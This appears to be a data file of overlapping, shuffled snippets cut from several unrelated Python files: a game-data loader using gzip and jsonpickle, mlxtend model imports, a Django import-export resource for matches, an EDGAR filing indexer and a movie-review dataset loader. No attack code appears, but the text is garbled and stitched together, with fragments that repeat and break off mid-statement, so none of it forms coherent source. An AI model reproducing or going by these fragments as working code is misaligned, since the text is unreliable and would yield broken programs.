"Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents,",
"f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents",
"load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath):",
"data. :author: <NAME> :license: MIT, see LICENSE.txt for more details. \"\"\" import json",
"<NAME> :license: MIT, see LICENSE.txt for more details. \"\"\" import json import jsonpickle",
"gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath,",
":license: MIT, see LICENSE.txt for more details. \"\"\" import json import jsonpickle import",
"{} def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f =",
"owns the loading and in-memory storage of all of the pre-defined game data.",
"= gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close() game = jsonpickle.decode(contents, keys=True) return game",
"keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close() game =",
"import gzip Technologies = {} Language_Map = {} def load_language_map(filepath): f = open(filepath,",
"all of the pre-defined game data. :author: <NAME> :license: MIT, see LICENSE.txt for",
"in-memory storage of all of the pre-defined game data. :author: <NAME> :license: MIT,",
"json import jsonpickle import gzip Technologies = {} Language_Map = {} def load_language_map(filepath):",
"game data. :author: <NAME> :license: MIT, see LICENSE.txt for more details. \"\"\" import",
"Language_Map = {} def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath):",
"def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close() game = jsonpickle.decode(contents,",
"import json import jsonpickle import gzip Technologies = {} Language_Map = {} def",
"gzip Technologies = {} Language_Map = {} def load_language_map(filepath): f = open(filepath, \"r\")",
"storage of all of the pre-defined game data. :author: <NAME> :license: MIT, see",
"and in-memory storage of all of the pre-defined game data. :author: <NAME> :license:",
"data.py Contains and owns the loading and in-memory storage of all of the",
"of all of the pre-defined game data. :author: <NAME> :license: MIT, see LICENSE.txt",
"the loading and in-memory storage of all of the pre-defined game data. :author:"
] |
[
"_Classifier from ._regressor import _Regressor from ._iterative_model import _IterativeModel from ._multiclass import _MultiClass",
"from ._regressor import _Regressor from ._iterative_model import _IterativeModel from ._multiclass import _MultiClass from",
"import _BaseModel from ._cluster import _Cluster from ._classifier import _Classifier from ._regressor import",
"from ._classifier import _Classifier from ._regressor import _Regressor from ._iterative_model import _IterativeModel from",
"from ._multiclass import _MultiClass from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\", \"_Cluster\", \"_Classifier\",",
"._base_model import _BaseModel from ._cluster import _Cluster from ._classifier import _Classifier from ._regressor",
"Library Extensions # Author: <NAME> <<EMAIL>> # # License: BSD 3 clause from",
"_IterativeModel from ._multiclass import _MultiClass from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\", \"_Cluster\",",
"# # License: BSD 3 clause from ._base_model import _BaseModel from ._cluster import",
"from ._cluster import _Cluster from ._classifier import _Classifier from ._regressor import _Regressor from",
"<NAME> <<EMAIL>> # # License: BSD 3 clause from ._base_model import _BaseModel from",
"# Author: <NAME> <<EMAIL>> # # License: BSD 3 clause from ._base_model import",
"._cluster import _Cluster from ._classifier import _Classifier from ._regressor import _Regressor from ._iterative_model",
"._iterative_model import _IterativeModel from ._multiclass import _MultiClass from ._multilayer import _MultiLayer __all__ =",
"import _MultiClass from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\", \"_Cluster\", \"_Classifier\", \"_Regressor\", \"_IterativeModel\",",
"<<EMAIL>> # # License: BSD 3 clause from ._base_model import _BaseModel from ._cluster",
"import _IterativeModel from ._multiclass import _MultiClass from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\",",
"_Cluster from ._classifier import _Classifier from ._regressor import _Regressor from ._iterative_model import _IterativeModel",
"Extensions # Author: <NAME> <<EMAIL>> # # License: BSD 3 clause from ._base_model",
"License: BSD 3 clause from ._base_model import _BaseModel from ._cluster import _Cluster from",
"Learning Library Extensions # Author: <NAME> <<EMAIL>> # # License: BSD 3 clause",
"# mlxtend Machine Learning Library Extensions # Author: <NAME> <<EMAIL>> # # License:",
"2014-2020 # mlxtend Machine Learning Library Extensions # Author: <NAME> <<EMAIL>> # #",
"_Regressor from ._iterative_model import _IterativeModel from ._multiclass import _MultiClass from ._multilayer import _MultiLayer",
"._regressor import _Regressor from ._iterative_model import _IterativeModel from ._multiclass import _MultiClass from ._multilayer",
"from ._iterative_model import _IterativeModel from ._multiclass import _MultiClass from ._multilayer import _MultiLayer __all__",
"clause from ._base_model import _BaseModel from ._cluster import _Cluster from ._classifier import _Classifier",
"mlxtend Machine Learning Library Extensions # Author: <NAME> <<EMAIL>> # # License: BSD",
"._classifier import _Classifier from ._regressor import _Regressor from ._iterative_model import _IterativeModel from ._multiclass",
"import _Classifier from ._regressor import _Regressor from ._iterative_model import _IterativeModel from ._multiclass import",
"BSD 3 clause from ._base_model import _BaseModel from ._cluster import _Cluster from ._classifier",
"_BaseModel from ._cluster import _Cluster from ._classifier import _Classifier from ._regressor import _Regressor",
"_MultiClass from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\", \"_Cluster\", \"_Classifier\", \"_Regressor\", \"_IterativeModel\", \"_MultiClass\",",
"import _Regressor from ._iterative_model import _IterativeModel from ._multiclass import _MultiClass from ._multilayer import",
"# License: BSD 3 clause from ._base_model import _BaseModel from ._cluster import _Cluster",
"import _Cluster from ._classifier import _Classifier from ._regressor import _Regressor from ._iterative_model import",
"._multiclass import _MultiClass from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\", \"_Cluster\", \"_Classifier\", \"_Regressor\",",
"3 clause from ._base_model import _BaseModel from ._cluster import _Cluster from ._classifier import",
"<NAME> 2014-2020 # mlxtend Machine Learning Library Extensions # Author: <NAME> <<EMAIL>> #",
"from ._base_model import _BaseModel from ._cluster import _Cluster from ._classifier import _Classifier from",
"Author: <NAME> <<EMAIL>> # # License: BSD 3 clause from ._base_model import _BaseModel",
"from ._multilayer import _MultiLayer __all__ = [\"_BaseModel\", \"_Cluster\", \"_Classifier\", \"_Regressor\", \"_IterativeModel\", \"_MultiClass\", \"_MultiLayer\"]",
"Machine Learning Library Extensions # Author: <NAME> <<EMAIL>> # # License: BSD 3",
"# <NAME> 2014-2020 # mlxtend Machine Learning Library Extensions # Author: <NAME> <<EMAIL>>"
] |
[
"def dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log def",
"import resources, fields from .models import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1')",
"model = Match fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def",
"= Match fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self,",
"'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self,",
"from import_export import resources, fields from .models import Match class MatchResource(resources.ModelResource): team1 =",
"class Meta: model = Match fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log',",
"from .models import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name',",
"import settings from import_export import resources, fields from .models import Match class MatchResource(resources.ModelResource):",
"server_log = fields.Field() visualizer_url = fields.Field() class Meta: model = Match fields =",
"= fields.Field() class Meta: model = Match fields = ('team1', 'team2', 'winner', 'infra_token',",
"'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log",
"fields from .models import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 =",
"column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log",
"'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self, obj:",
"fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match):",
"column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log = fields.Field() visualizer_url =",
"fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log = fields.Field() visualizer_url = fields.Field() class Meta:",
"Match): return obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log def dehydrate_visualizer_url(self, obj: Match):",
"'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self, obj: Match):",
"column_name='winner') game_log = fields.Field() server_log = fields.Field() visualizer_url = fields.Field() class Meta: model",
"obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log def dehydrate_visualizer_url(self, obj: Match): return f'{settings.VISUALIZER_URL}{obj.game_log}'",
"fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log = fields.Field() visualizer_url",
"django.conf import settings from import_export import resources, fields from .models import Match class",
"class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name',",
"= fields.Field() server_log = fields.Field() visualizer_url = fields.Field() class Meta: model = Match",
"Meta: model = Match fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url')",
"= fields.Field() visualizer_url = fields.Field() class Meta: model = Match fields = ('team1',",
"fields.Field() class Meta: model = Match fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log',",
"import_export import resources, fields from .models import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name',",
".models import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2')",
"visualizer_url = fields.Field() class Meta: model = Match fields = ('team1', 'team2', 'winner',",
"team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log =",
"fields.Field() server_log = fields.Field() visualizer_url = fields.Field() class Meta: model = Match fields",
"= fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log =",
"game_log = fields.Field() server_log = fields.Field() visualizer_url = fields.Field() class Meta: model =",
"resources, fields from .models import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2",
"dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log def dehydrate_visualizer_url(self,",
"import Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner",
"from django.conf import settings from import_export import resources, fields from .models import Match",
"settings from import_export import resources, fields from .models import Match class MatchResource(resources.ModelResource): team1",
"fields.Field() visualizer_url = fields.Field() class Meta: model = Match fields = ('team1', 'team2',",
"MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner')",
"fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field()",
"Match fields = ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj:",
"= fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log = fields.Field()",
"'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log def dehydrate_server_log(self, obj: Match): return",
"obj: Match): return obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log def dehydrate_visualizer_url(self, obj:",
"= ('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return",
"= fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log = fields.Field() visualizer_url = fields.Field() class",
"Match class MatchResource(resources.ModelResource): team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner =",
"('team1', 'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log",
"winner = fields.Field(attribute='winner__name', column_name='winner') game_log = fields.Field() server_log = fields.Field() visualizer_url = fields.Field()",
"return obj.game_log def dehydrate_server_log(self, obj: Match): return obj.server_log def dehydrate_visualizer_url(self, obj: Match): return",
"team1 = fields.Field(attribute='team1__name', column_name='team1') team2 = fields.Field(attribute='team2__name', column_name='team2') winner = fields.Field(attribute='winner__name', column_name='winner') game_log",
"'team2', 'winner', 'infra_token', 'game_log', 'server_log', 'visualizer_url') def dehydrate_game_log(self, obj: Match): return obj.game_log def"
] |
[
"__name__ == '__main__': index = dict() for cik in os.listdir(BASE_DIR): for accession in",
"cik, accession)): index[accession] = { \"cik\": cik, \"accession\": accession, \"fileName\": fileName } with",
"\"cik\": cik, \"accession\": accession, \"fileName\": fileName } with open('index_by_accession.json', 'w') as index_json: json.dump(index,",
"os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession]",
"if __name__ == '__main__': index = dict() for cik in os.listdir(BASE_DIR): for accession",
"in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\":",
"cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik,",
"accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = {",
"index[accession] = { \"cik\": cik, \"accession\": accession, \"fileName\": fileName } with open('index_by_accession.json', 'w')",
"BASE_DIR = r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index = dict() for cik in",
"cik, \"accession\": accession, \"fileName\": fileName } with open('index_by_accession.json', 'w') as index_json: json.dump(index, index_json)",
"== '__main__': index = dict() for cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR,",
"= dict() for cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName",
"= { \"cik\": cik, \"accession\": accession, \"fileName\": fileName } with open('index_by_accession.json', 'w') as",
"import json BASE_DIR = r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index = dict() for",
"accession)): index[accession] = { \"cik\": cik, \"accession\": accession, \"fileName\": fileName } with open('index_by_accession.json',",
"for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] =",
"in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)):",
"dict() for cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in",
"= r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index = dict() for cik in os.listdir(BASE_DIR):",
"{ \"cik\": cik, \"accession\": accession, \"fileName\": fileName } with open('index_by_accession.json', 'w') as index_json:",
"cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\": cik, \"accession\":",
"for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\": cik, \"accession\": accession,",
"os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\": cik,",
"in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\": cik, \"accession\": accession, \"fileName\": fileName",
"os import json BASE_DIR = r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index = dict()",
"json BASE_DIR = r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index = dict() for cik",
"r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index = dict() for cik in os.listdir(BASE_DIR): for",
"'__main__': index = dict() for cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)):",
"import os import json BASE_DIR = r'D:\\data\\edgar\\sampling\\Archives\\edgar\\data' if __name__ == '__main__': index =",
"index = dict() for cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for",
"os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\": cik, \"accession\": accession, \"fileName\": fileName }",
"fileName in os.listdir(os.path.join(BASE_DIR, cik, accession)): index[accession] = { \"cik\": cik, \"accession\": accession, \"fileName\":",
"for cik in os.listdir(BASE_DIR): for accession in os.listdir(os.path.join(BASE_DIR, cik)): for fileName in os.listdir(os.path.join(BASE_DIR,"
] |
[
"from django.apps import AppConfig class HoodappConfig(AppConfig): name = 'area51' def ready(self): import area51.signals",
"<gh_stars>0 from django.apps import AppConfig class HoodappConfig(AppConfig): name = 'area51' def ready(self): import"
] |
[
"> 10: break self.data = tsvin def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/",
"from sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None):",
"print(test) # test = np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size] = test",
"print(row) if i > 10: break self.data = tsvin def read_acllmdb(self): # Movie",
"= { 'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target } def read_dataset(self):",
"self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset provided.\")",
"self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object): def __init__(self, path,",
"data): self.path = path self.data = data if __name__ == '__main__': movie_train =",
"# print(test) # print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros) # print(doc_zeros.shape) #",
"print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds =",
"class DataBatch(object): def __init__(self, path, data): self.path = path self.data = data if",
"= dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t')",
"data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None): self.file = file self.dataset",
"for i, row in iter(tsvin): print(row) if i > 10: break self.data =",
"# print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as",
"self.data = data if __name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y']))",
"= csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin): print(row) if i > 10:",
"[1,2,3,4] # print(test) # test = np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size]",
"file=None, dataset=None): self.file = file self.dataset = dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb')",
"np # doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4] # print(test)",
"# print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import",
"movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) #",
"= data if __name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) #",
"# print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np #",
"= [1,2,3,4] # print(test) # test = np.array(test) # print(test) # print(test.shape) #",
"dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for",
"are set here if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv()",
"import csv import sklearn from sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class data(object):",
"def read_dataset(self): # Toy datasets are set here if self.dataset == 'acllmdb': self.read_acllmdb()",
"review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for",
"'tsv': self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object): def __init__(self, path, data): self.path",
"print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'],",
"# import numpy as np # doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test",
"self.dataset = dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin,",
"self.file = file self.dataset = dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin:",
"= load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y':",
"row in iter(tsvin): print(row) if i > 10: break self.data = tsvin def",
"np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros) # print(doc_zeros.shape)",
"i, row in iter(tsvin): print(row) if i > 10: break self.data = tsvin",
"= data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3])",
"csv import sklearn from sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class data(object): def",
"if i > 10: break self.data = tsvin def read_acllmdb(self): # Movie review",
"Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for x",
"tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin): print(row) if i",
"# Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data = { 'x':",
"== 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else: print(\"No dataset provided.\") class",
"print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') #",
"# print(movie_train.keys()) # print(movie_train.DESCR) # print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example')",
"self.data = { 'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target } def",
"set here if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset == 'tsv': self.read_tsv() else:",
"\"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None): self.file = file self.dataset = dataset",
"movie_train = load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for x in movie_train.data],",
"'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target } def read_dataset(self): # Toy",
"shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target }",
"path self.data = data if __name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x']))",
"__init__(self, path, data): self.path = path self.data = data if __name__ == '__main__':",
"= Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np # doc_zeros = np.zeros(100) #",
"# ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np # doc_zeros =",
"in iter(tsvin): print(row) if i > 10: break self.data = tsvin def read_acllmdb(self):",
"= np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4] # print(test) # test =",
"file self.dataset = dataset self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin =",
"Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\")",
"<reponame>Seraphyx/senti<gh_stars>0 import csv import sklearn from sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class",
"__name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR)",
"doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4] # print(test) # test",
"np.zeros(100) # print(doc_zeros.shape) # test = [1,2,3,4] # print(test) # test = np.array(test)",
"== '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) # print(movie_train.DESCR) #",
"def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data =",
"import load_files data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None): self.file =",
"'y': movie_train.target } def read_dataset(self): # Toy datasets are set here if self.dataset",
"if __name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys()) #",
"# test = np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size] = test #",
"self.read_tsv() else: print(\"No dataset provided.\") class DataBatch(object): def __init__(self, path, data): self.path =",
"print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros) # print(doc_zeros.shape) # print(test.size) # print(min(100,",
"print(movie_train.filenames) # print(movie_train.data[0:3]) # ds = Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np",
"x in movie_train.data], 'y': movie_train.target } def read_dataset(self): # Toy datasets are set",
"import numpy as np # doc_zeros = np.zeros(100) # print(doc_zeros.shape) # test =",
"path, data): self.path = path self.data = data if __name__ == '__main__': movie_train",
"read_dataset(self): # Toy datasets are set here if self.dataset == 'acllmdb': self.read_acllmdb() elif",
"self.path = path self.data = data if __name__ == '__main__': movie_train = data(dataset='acllmdb')",
"sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None): self.file",
"tsvin = csv.reader(tsvin, delimiter='\\t') for i, row in iter(tsvin): print(row) if i >",
"= np.array(test) # print(test) # print(test.shape) # doc_zeros[:test.size] = test # print(doc_zeros) #",
"dataset provided.\") class DataBatch(object): def __init__(self, path, data): self.path = path self.data =",
"class data(object): def __init__(self, file=None, dataset=None): self.file = file self.dataset = dataset self.read_dataset()",
"Dataset(data.data['x'], data.data['y']).load('../data/dataset/dataset_example') # import numpy as np # doc_zeros = np.zeros(100) # print(doc_zeros.shape)",
"movie_train.data], 'y': movie_train.target } def read_dataset(self): # Toy datasets are set here if",
"delimiter='\\t') for i, row in iter(tsvin): print(row) if i > 10: break self.data",
"else: print(\"No dataset provided.\") class DataBatch(object): def __init__(self, path, data): self.path = path",
"# test = [1,2,3,4] # print(test) # test = np.array(test) # print(test) #",
"# doc_zeros[:test.size] = test # print(doc_zeros) # print(doc_zeros.shape) # print(test.size) # print(min(100, test.size))",
"= \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None, dataset=None): self.file = file self.dataset =",
"self.read_dataset() def read_tsv(self): with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i,",
"10: break self.data = tsvin def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train",
"http://www.nltk.org/nltk_data/ movie_train = load_files(data_path, shuffle=True) self.data = { 'x': [x.decode(\"utf-8\") for x in",
"break self.data = tsvin def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train =",
"in movie_train.data], 'y': movie_train.target } def read_dataset(self): # Toy datasets are set here",
"data if __name__ == '__main__': movie_train = data(dataset='acllmdb') print(type(movie_train.data)) print(len(movie_train.data['x'])) print(len(movie_train.data['y'])) # print(movie_train.keys())",
"sklearn from sklearn.datasets import load_files data_path = \"../data/raw/movie_reviews\" class data(object): def __init__(self, file=None,",
"def __init__(self, file=None, dataset=None): self.file = file self.dataset = dataset self.read_dataset() def read_tsv(self):",
"read_tsv(self): with open(self.file,'rb') as tsvin: tsvin = csv.reader(tsvin, delimiter='\\t') for i, row in",
"self.data = tsvin def read_acllmdb(self): # Movie review Sentiment: http://www.nltk.org/nltk_data/ movie_train = load_files(data_path,",
"Toy datasets are set here if self.dataset == 'acllmdb': self.read_acllmdb() elif self.dataset ==",
"DataBatch(object): def __init__(self, path, data): self.path = path self.data = data if __name__",
"[x.decode(\"utf-8\") for x in movie_train.data], 'y': movie_train.target } def read_dataset(self): # Toy datasets",
